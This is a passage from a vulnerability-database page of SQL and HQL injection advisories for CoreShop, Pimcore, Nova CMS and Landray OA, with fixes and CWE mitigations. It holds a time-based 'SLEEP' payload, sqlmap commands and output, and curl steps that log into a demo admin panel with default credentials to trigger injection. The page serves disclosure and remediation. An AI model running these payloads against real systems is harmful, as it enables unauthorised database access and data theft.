(SELECT(SLEEP(5)))KORX)\u0026objectType=all\u0026orderState=[]\u0026page=1\u0026start=0\u0026limit=50\n---\nweb application technology: PHP 8.3.16\nback-end DBMS: MySQL \u003e= 5.0.12\nhostname: \u0027coreshop4-demo-php-6c6b7c446f-9qd8w\u0027\navailable databases [3]:\n[*] app\n[*] information_schema\n[*] performance_schema\n```\n\n\n### Solution\n\nTo mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The `store` parameter is expected to represent a numeric store identifier and should therefore be handled safely.\n\nTwo possible remediation approaches are recommended:\n\n1. **Strict Type Enforcement (Minimal Fix)**\n    \n    If the `store` parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. `(int) $storeId`). This prevents injection by ensuring that only numeric values are used in the query.\n    \n2. **Prepared Statements (Best Practice)**\n    \n    Alternatively, and preferably, the `store` parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.\n    \n\nApplying either approach would prevent attackers from injecting SQL logic through the `store` parameter.\n\n### Parameter\n\n1. /admin/coreshop/report/get-data?report=products\u0026_dc=1767720897882\u0026from=1767200400\u0026to=1798650000\u0026**store=1**\u0026objectType=all\u0026orderState=%5B%5D\u0026page=1\u0026start=0\u0026limit=50\n\n### Line of Code\n\nCoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php\n\n**Line 64 :**\n\n```php\n$storeId =$parameterBag-\u003eget(\u0027store\u0027,null);\n```\n\nThe `store` parameter is retrieved directly from the HTTP request via `ParameterBag`. This value originates from user-controlled input and is not validated or type-cast at this point.\n\n**Line 77 :**\n\n```php\nif (null ===$storeId) {\nreturn [];\n}\n```\n\nThis check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).\n\n**Line 81 :**\n\n```php\n$store =$this-\u003estoreRepository-\u003efind($storeId);\n```\n\nThe user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.\n\n**Line 107 :**\n\n```php\nWHERE orders.store =$storeId\n  AND orders.orderState =\u0027$orderCompleteState\u0027\n  AND orders.orderDate \u003e ?\n  AND orders.orderDate \u003c ?\n  AND saleState=\u0027\" . OrderSaleStates::STATE_ORDER . \"\u0027\n```\n\nAt this point, the `$storeId` value is **directly concatenated into the SQL query string**. Unlike other parameters in the query (`orderDate`), this value is **not bound as a prepared statement parameter**.\n\n### Example Fixed Code\n\n### Option 1: Strict Type Enforcement (Minimal Fix)\n\nIf the `store` parameter is intended to be numeric only, enforce integer casting before using it in the query.\n\n```php\n$storeId = (int)$parameterBag-\u003eget(\u0027store\u0027,0);\n\nif ($storeId \u003c=0) {\nreturn [];\n}\n\n$sqlQuery = \"\n    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n    FROM object_query_$classId AS orders\n    WHERE orders.store =$storeId\n      AND orders.orderState = \u0027$orderCompleteState\u0027\n      AND orders.orderDate \u003e ?\n      AND orders.orderDate \u003c ?\n      AND saleState = \u0027\" .OrderSaleStates::STATE_ORDER . \"\u0027\n    GROUP BY \" .$groupSelector;\n```\n\nThis ensures that only numeric values are used and prevents SQL logic injection.\n\n\n### Option 2: Prepared Statements (Recommended Fix)\n\nUse parameter binding for **all user-influenced values**, including `store`.\n\n```php\n$sqlQuery = \"\n    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n    FROM object_query_$classId AS orders\n    WHERE orders.store = ?\n      AND orders.orderState = ?\n      AND orders.orderDate \u003e ?\n      AND orders.orderDate \u003c ?\n      AND saleState = ?\n    GROUP BY \" .$groupSelector;\n\n$results =$this-\u003edb-\u003efetchAllAssociative(\n$sqlQuery,\n    [\n        (int)$storeId,\n$orderCompleteState,\n$from-\u003egetTimestamp(),\n$to-\u003egetTimestamp(),\nOrderSaleStates::STATE_ORDER,\n    ]\n);\n```\n\nThis approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.",
  "id": "GHSA-ch7p-mpv4-4vg4",
  "modified": "2026-01-12T20:06:21Z",
  "published": "2026-01-07T19:29:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coreshop/CoreShop/security/advisories/GHSA-ch7p-mpv4-4vg4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreshop/CoreShop/commit/59e84fec59d113952b6d28a9b30c6317f9e6e5dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coreshop/CoreShop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreShop Vulnerable to SQL Injection via Admin Reports"
}

GHSA-FQCV-8859-86X2

Vulnerability from github – Published: 2026-01-21 16:13 – Updated: 2026-01-22 15:43
VLAI
Summary
CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier
Details

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

  • Admin panel access at https://demo4.coreshop.org/admin
  • Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"
   ```

### Trigger SQL error to confirm injection
   ```bash
   curl -s -b /tmp/session.txt \
     'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
   ```

   **Expected result:** HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

   **Normal response (non-error):**
   ```json
   {"success":true,"message":null,"list":[]}
   ```

### Proof of Impact:

**Test 1 - Normal query:**
```bash
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

sqlmappoc

Impact

  • Vulnerability type: SQL Injection (Error-based)
  • Affected users: CoreShop / Pimcore admin users
  • Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

  • Never interpolate user input directly into SQL strings
  • Always use prepared statements or ORM parameter binding
  • Ensure consistent input validation on all admin endpoints
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "coreshop/core-shop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T16:13:12Z",
    "nvd_published_at": "2026-01-22T03:15:46Z",
    "severity": "MODERATE"
  },
  "details": "# SQL Injection in CustomerTransformerController\n\n## Summary\nAn **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel.  \nThe affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.\n\nThis issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.\n\n---\n\n## Details\nThe vulnerability exists in the company name duplication check endpoint:\n\n```\n/admin/coreshop/customer-company-modifier/duplication-name-check?value=\n```\n\nSource code analysis indicates that user input is directly embedded into a SQL condition without parameterization.\n\n**Vulnerable file:**\n```\n/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php\n```\n\n**Vulnerable code pattern:**\n```php\nsprintf(\u0027name LIKE \"%%%s%%\"\u0027, (string) $value)\n```\n\nThe `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.  \nSupplying a double quote (`\"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.\n\n---\n\n## Exploitation Steps:\n\n### Prerequisites\n- Admin panel access at `https://demo4.coreshop.org/admin`\n- Default credentials: `admin / coreshop`\n\n### Authenticate to admin panel\n```bash\n   # Get CSRF token\n   curl -s \u0027https://demo4.coreshop.org/admin/login/csrf-token\u0027 | grep csrfToken\n\n   # Initialize session\n   curl -s -c /tmp/session.txt \u0027https://demo4.coreshop.org/admin/login\u0027 \u003e /dev/null\n\n   # Get CSRF token with session\n   CSRF=$(curl -s -b /tmp/session.txt \u0027https://demo4.coreshop.org/admin/login/csrf-token\u0027 | grep -o \u0027\"csrfToken\":\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f4)\n\n   # Login\n   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \\\n     -X POST \u0027https://demo4.coreshop.org/admin/login/login\u0027 \\\n     -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n     -d \"username=admin\u0026password=coreshop\u0026csrfToken=$CSRF\"\n   ```\n\n### Trigger SQL error to confirm injection\n   ```bash\n   curl -s -b /tmp/session.txt \\\n     \u0027https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22\u0027\n   ```\n\n   **Expected result:** HTTP 500 error page with title \"500 | CORS - Pimcore Digital Agency\"\n\n   **Normal response (non-error):**\n   ```json\n   {\"success\":true,\"message\":null,\"list\":[]}\n   ```\n\n### Proof of Impact:\n\n**Test 1 - Normal query:**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test\nResponse: {\"success\":true,\"message\":null,\"list\":[]}\n```\n\n**Test 2 - SQL injection (error-inducing):**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=\"\nResponse: HTTP 500 Internal Server Error\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n  \u003ctitle\u003e500 | CORS - Pimcore Digital Agency\u003c/title\u003e\n  ...\n\u003c/head\u003e\n```\nThe double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.\n\n**Sqlmap Result:**\n```bash\npython sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db\n```\n\u003cimg width=\"1921\" height=\"747\" alt=\"sqlmappoc\" src=\"https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985\" /\u003e\n\n---\n\n## Impact\n- **Vulnerability type:** SQL Injection (Error-based)\n- **Affected users:** CoreShop / Pimcore admin users\n- **Potential impact:**\n  - Database error disclosure\n  - Database schema enumeration\n  - Possible data extraction via error-based or blind SQL injection\n\n---\n\n## Recommended Fix\n\n### 1. Use Parameterized Queries (Required)\nAvoid building SQL conditions using string concatenation or `sprintf`.  \nUse Doctrine QueryBuilder parameters instead.\n\n**\u274c Vulnerable example:**\n```php\n$condition = sprintf(\u0027name LIKE \"%%%s%%\"\u0027, (string) $value);\n```\n\n**\u2705 Secure example (Doctrine QueryBuilder):**\n```php\n$qb-\u003eandWhere(\u0027c.name LIKE :name\u0027)\n   -\u003esetParameter(\u0027name\u0027, \u0027%\u0027 . $value . \u0027%\u0027);\n```\n\nThis ensures proper escaping and prevents SQL injection.\n\n---\n\n### 2. Validate User Input (Defense-in-Depth)\nApply strict input validation before processing user data:\n\n```php\nif (!is_string($value) || mb_strlen($value) \u003e 255) {\n    throw new BadRequestHttpException(\u0027Invalid input\u0027);\n}\n```\n\nOptionally, restrict allowed characters if business logic permits.\n\n---\n\n### 3. Handle Errors Gracefully\nAvoid returning raw 500 error pages to users.  \nCatch database exceptions and return a controlled JSON error response instead:\n\n```php\nreturn new JsonResponse([\n    \u0027success\u0027 =\u003e false,\n    \u0027message\u0027 =\u003e \u0027Invalid request\u0027\n], 400);\n```\n\n---\n\n### 4. Security Best Practice\n- Never interpolate user input directly into SQL strings\n- Always use prepared statements or ORM parameter binding\n- Ensure consistent input validation on all admin endpoints\n\n---",
  "id": "GHSA-fqcv-8859-86x2",
  "modified": "2026-01-22T15:43:07Z",
  "published": "2026-01-21T16:13:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coreshop/CoreShop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coreshop/CoreShop/releases/tag/4.1.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier"
}

GHSA-MWCV-QWVH-QP7H

Vulnerability from github – Published: 2024-10-10 15:30 – Updated: 2026-06-03 15:30
VLAI
Details

SQL Injection: Hibernate vulnerability in TE Informatics Nova CMS allows SQL Injection.This issue affects Nova CMS: before 5.0.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T14:15:05Z",
    "severity": "MODERATE"
  },
  "details": "SQL Injection: Hibernate vulnerability in TE Informatics Nova CMS allows SQL Injection.This issue affects Nova CMS: before 5.0.",
  "id": "GHSA-mwcv-qwvh-qp7h",
  "modified": "2026-06-03T15:30:36Z",
  "published": "2024-10-10T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4658"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1661"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-24-1661"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q53R-9HH9-W277

Vulnerability from github – Published: 2025-01-28 19:14 – Updated: 2025-01-28 19:14
VLAI
Summary
pimcore/customer-data-framework vulnerable to SQL Injection
Details

An SQL injection vulnerability allows any authenticated user to execute arbitrary SQL commands on the server. This can lead to unauthorized access to sensitive data, data modification, or even complete control over the server.

Details The vulnerability is found in the URL parameters of the following endpoint:

GET /admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832 HTTP/1.1

The parameters filterDefinition and filter are vulnerable to SQL injection. When a specially crafted input is provided, it results in an SQL error, indicating that the input is being directly used in an SQL query without proper sanitization.

PoC To reproduce the vulnerability, follow these steps:

Open a web browser or a tool like curl or Postman. Authenticate with valid user credentials. Navigate to the following URL with the vulnerable parameters:

https://demo.pimcore.fun/admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832
Observe the error message indicating an SQL error:
Error while building customer list: An exception occurred while executing a query: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '@_0 ON `fltr_seg_832_0_@_0`.fieldname IN ('manualSegments','calculatedSegment...' at line 1

Impact This is an SQL injection vulnerability. It impacts any authenticated user who can access the affected endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data breaches, data loss, or full server compromise.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/customer-management-framework-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-11956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-28T19:14:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "An SQL injection vulnerability allows any authenticated user to execute arbitrary SQL commands on the server. This can lead to unauthorized access to sensitive data, data modification, or even complete control over the server.\n\nDetails\nThe vulnerability is found in the URL parameters of the following endpoint:\n\n`GET /admin/customermanagementframework/customers/list?add-new-customer=1\u0026apply-segment-selection=Apply\u0026filterDefinition[allowedRoleIds][]=1\u0026filterDefinition[allowedUserIds][]=2\u0026filterDefinition[id]=0\u0026filterDefinition[name]=RDFYjolf\u0026filterDefinition[readOnly]=on\u0026filterDefinition[shortcutAvailable]=on\u0026filter[active]=1\u0026filter[email]=testing%40example.com\u0026filter[firstname]=RDFYjolf\u0026filter[id]=1\u0026filter[lastname]=RDFYjolf\u0026filter[operator-customer]=AND\u0026filter[operator-segments]=%40%40dz1Uu\u0026filter[search]=the\u0026filter[segments][832][]=847\u0026filter[segments][833][]=835\u0026filter[segments][874][]=876\u0026filter[showSegments][]=832 HTTP/1.1`\n\nThe parameters filterDefinition and filter are vulnerable to SQL injection. When a specially crafted input is provided, it results in an SQL error, indicating that the input is being directly used in an SQL query without proper sanitization.\n\nPoC\nTo reproduce the vulnerability, follow these steps:\n\nOpen a web browser or a tool like curl or Postman.\nAuthenticate with valid user credentials.\nNavigate to the following URL with the vulnerable parameters:\n```\nhttps://demo.pimcore.fun/admin/customermanagementframework/customers/list?add-new-customer=1\u0026apply-segment-selection=Apply\u0026filterDefinition[allowedRoleIds][]=1\u0026filterDefinition[allowedUserIds][]=2\u0026filterDefinition[id]=0\u0026filterDefinition[name]=RDFYjolf\u0026filterDefinition[readOnly]=on\u0026filterDefinition[shortcutAvailable]=on\u0026filter[active]=1\u0026filter[email]=testing%40example.com\u0026filter[firstname]=RDFYjolf\u0026filter[id]=1\u0026filter[lastname]=RDFYjolf\u0026filter[operator-customer]=AND\u0026filter[operator-segments]=%40%40dz1Uu\u0026filter[search]=the\u0026filter[segments][832][]=847\u0026filter[segments][833][]=835\u0026filter[segments][874][]=876\u0026filter[showSegments][]=832\nObserve the error message indicating an SQL error:\nError while building customer list: An exception occurred while executing a query: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \u0027@_0 ON `fltr_seg_832_0_@_0`.fieldname IN (\u0027manualSegments\u0027,\u0027calculatedSegment...\u0027 at line 1\n```\nImpact\nThis is an SQL injection vulnerability. It impacts any authenticated user who can access the affected endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data breaches, data loss, or full server compromise.",
  "id": "GHSA-q53r-9hh9-w277",
  "modified": "2025-01-28T19:14:50Z",
  "published": "2025-01-28T19:14:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-q53r-9hh9-w277"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/customer-data-framework/releases/tag/v4.2.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.293906"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.293906"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.451863"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pimcore/customer-data-framework vulnerable to SQL Injection"
}

GHSA-XGHX-F376-X86R

Vulnerability from github – Published: 2026-07-02 18:36 – Updated: 2026-07-02 18:36
VLAI
Details

Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-58352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T17:16:57Z",
    "severity": "HIGH"
  },
  "details": "Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC).",
  "id": "GHSA-xghx-f376-x86r",
  "modified": "2026-07-02T18:36:30Z",
  "published": "2026-07-02T18:36:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58352"
    },
    {
      "type": "WEB",
      "url": "https://blog.csdn.net/fushuang333/article/details/136377020"
    },
    {
      "type": "WEB",
      "url": "https://blog.csdn.net/qq_39342001/article/details/137354047"
    },
    {
      "type": "WEB",
      "url": "https://cn-sec.com/archives/2532828.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/landray-oa-unauthenticated-hql-injection-via-wechatloginhelper-do"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Mitigation
Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Mitigation
Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

← Back to the CWE list